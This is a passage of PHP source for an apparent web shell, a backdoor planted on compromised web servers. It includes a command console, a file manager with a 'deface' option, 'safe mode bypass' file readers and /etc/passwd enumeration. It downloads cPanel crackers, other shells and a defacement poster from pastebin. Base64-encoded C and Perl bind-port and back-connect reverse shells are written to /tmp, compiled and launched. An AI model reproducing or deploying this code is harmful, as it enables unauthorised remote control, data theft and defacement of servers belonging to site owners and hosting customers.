        if($GLOBALS['sort'][0] != 'size')
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
        $l = $l?0:1;
    }
    echo '<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
    <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
    if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
    echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
    </form></table></div>';
    printFooter();
}

function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        if(function_exists($_POST['p1']))
            echo $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    printHeader();
    echo '<h1>String conversions</h1><div class=content>';
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'bin2hex',
        'BIN to DEC' => 'bindec',        
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
        if(function_exists($_POST['p1']))
        echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div>";
    printFooter();
}

function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {

        }
        exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
        echo 'File not exists';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    $gid = @posix_getgrgid(@fileowner($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if( is_readable($_POST['p1']) ) {
                echo '<div class=ml1 style="background-color: black;color:black;">';
                $code = highlight_file($_POST['p1'],true);
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
            }
            break;
        case 'chmod':
            if( !empty($_POST['p3']) ) {
                $perms = 0;
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                if(!@chmod($_POST['p1'], $perms))
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,null,null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if( !is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if( !empty($_POST['p3']) ) {
                @file_put_contents($_POST['p1'],$_POST['p3']);
                echo 'Saved!<br><script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>','','');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= ' '; break;
                    case 9:  $h[2] .= ' '; break;
                    case 10: $h[2] .= ' '; break;
                    case 13: $h[2] .= ' '; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
             }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
            break;
        case 'rename':
            if( !empty($_POST['p3']) ) {
                if(!@rename($_POST['p1'], $_POST['p3']))
                    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if( !empty($_POST['p3']) ) {
                $time = strtotime($_POST['p3']);
                if($time) {
                    if(@touch($_POST['p1'],$time,$time))
                        die('<script>g(null,null,null,null,"")</script>');
                    else {
                        echo 'Fail!<script>document.mf.p3.value="";</script>';
                    }
                } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
            break;
        case 'mkfile':
            
            break;
    }
    echo '</div>';
    printFooter();
}

function actionSafeMode() {
    $temp='';
    ob_start();
    switch($_POST['p1']) {
        case 1:
            $temp=@tempnam($test, 'cx');
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
                echo @file_get_contents($temp);
                unlink($temp);
            } else
                echo 'Sorry... Can\'t open file';
            break;
        case 2:
            $files = glob($_POST['p2'].'*');
            if( is_array($files) )
                foreach ($files as $filename)
                    echo $filename."\n";
            break;
        case 3:
            $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include($_POST['p2']);
            break;
        case 5:
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid)
                    echo join(':',$uid)."\n";
            }
            break;
        case 6:
            if(!function_exists('imap_open'))break;
            $stream = imap_open($_POST['p2'], "", "");
            if ($stream == FALSE)
                break;
            echo imap_body($stream, 1);
            imap_close($stream);
            break;
    }
    $temp = ob_get_clean();
    printHeader();
    echo '<h1>Safe mode bypass</h1><div class=content>';
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
    if($temp)
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
    echo '</div>';
    printFooter();
}

function actionConsole() {
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        echo "document.cf.cmd.value='';\n";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "document.mf.c.value='".$GLOBALS['cwd']."';";
            }
        }
        echo "document.cf.output.value+='".$temp."';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "\n", $temp;
        exit;
    }
    printHeader();

echo '<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>';
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
        if($v == '') {
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
            continue;
        }
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
    }
    echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
    echo '</form></div><script>document.cf.cmd.focus();</script>';
    printFooter();
}

function actionLogout() {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i63.tinypic.com/1108vic.jpg"><br>
<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<span style="color:red;font: 20pt audiowide;">Your are out now :D<br>www.facebook.com/smevkpathan</h2></span></center></body>';
}

function actionSelfRemove() {
    printHeader();
    if($_POST['p1'] == 'yes') {
        if(@unlink(SELF_PATH))
            die('Shell has been removed');
        else
            echo 'unlink error!';
    }
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    printFooter();
}
///my editing start here for tools
    function download_remote_file($file_url, $save_to)
    {
        $content = file_get_contents($file_url);

        file_put_contents($save_to, $content);

    }
    if (isset($_POST['dhanush'])) {
        download_remote_file('http://pastebin.com/raw.php?i=U9nqEgRN', realpath("./") . '/dhanush.php');
        header("location:dhanush.php");

    } 
    if (isset($_POST['SymlinkbySmevk'])) {
        download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php');
        header("location:SymlinkbySmevk.php");
   
    }
        if (isset($_POST['SymlinkbyCheetah'])) {
        download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php');
        header("location:SymlinkbyCheetah.php");
   
    }
        if (isset($_POST['SymlinkbyTorjan'])) {
        download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py');
        echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
        
   
    }
        if (isset($_POST['CpanelCracker'])) {
        download_remote_file('http://pastebin.com/raw.php?i=zYxsP0MH', realpath("./") . '/CpanelCracker.php');
        header("location:CpanelCracker.php");
   
    }
        if (isset($_POST['Dblogin'])) {
        download_remote_file('http://pastebin.com/raw.php?i=Q52G9kjJ', realpath("./") . '/Dblogin.php');
        header("location:Dblogin.php");
   
    }
    if (isset($_POST['CpanelkbyGujjar'])) {
        download_remote_file('http://pastebin.com/raw.php?i=NM9SD9bV', realpath("./") . '/CpanelkbyGujjar.php');
        header("location:CpanelkbyGujjar.php");
   
    }
        if (isset($_POST['b374k'])) {
        download_remote_file('http://pastebin.com/raw.php?i=1iDZfjZ9', realpath("./") . '/b374k.php');
        header("location:b374k.php");
   
    }
            if (isset($_POST['ZonehMassPoster'])) {
        download_remote_file('http://pastebin.com/raw.php?i=mDXnSnj2', realpath("./") . '/ZonehMassPoster.php');
        header("location:ZonehMassPoster.php");
   
    }
                if (isset($_POST['Whmcs'])) {
        download_remote_file('http://pastebin.com/raw.php?i=K0KQWUCk', realpath("./") . '/Whmcs.php');
        header("location:Whmcs.php");
   
    }






function actionImportScripts() {
    printHeader();
echo '<table border="1px" align="center" id ="Smevktools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
<form action ="" method="post">

                                             <input type = "submit" name="dhanush"              value ="Dhanush Shell"></td></tr>';
echo '<td><form action =""     method="post"><input type = "submit" name="SymlinkbySmevk"       value ="Symlink Script By SmEvK_PaThAn"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah"     value ="Symlink By Kashmiri Cheetah"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan"      value ="Symlink Python Script By Torjan"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelCracker"        value ="Cpanel Cracker"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="Dblogin"              value ="Database Login Script"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelkbyGujjar"      value ="Gujjar Pcp Cpanel Cracker"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="b374k"     		     value ="b374k Shell"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="ZonehMassPoster"       value ="Zone-h Mass Poster"></a></td></tr>';
echo '<tr><td><form action ="" method="post"><input type = "submit" name="Whmcs"                 value ="WHMCS KILLER V3"></a></td></tr>';





    
    printFooter();
}


function actionNetwork() {
    printHeader();
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    
    echo '<h1>Network tools</h1><div class=content>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br /><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Pakistan Haxors\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br /><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
    </form><br>';    
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w=@fopen($f,"w") or @function_exists('file_put_contents');
            if($w)    {
                @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c",$bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
        }
        if($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
        }
        if($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c",$back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
            echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
        }
    }
    echo '</div>';
    printFooter();
}


function actionReadable() {
    printHeader();
    echo '<h1>Readable Dirs</h1>';
    echo '<div class="content">';
    $sm = ini_get('safe_mode');
    if($sm) {
        echo '<br /><b>Error: safe_mode = on</b><br /><br />';
    } else {
        @$passwd = file('/etc/passwd','r');
        if (!$passwd) { 
            echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />'; 
        } else {
            $pub = array();
            $users = array();
            $conf = array();
            $i = 0;
            foreach($passwd as $p) {
                $r = explode(':',$p);
                $dirz = $r[5].'/public_html/';
                if(strpos($r[5],'home')) {
                    array_push($users,$r[0]);
                    if (is_readable($dirz)) {
                        array_push($pub,$dirz);
                    }
                }
            }
            echo '<br><br>';
            echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
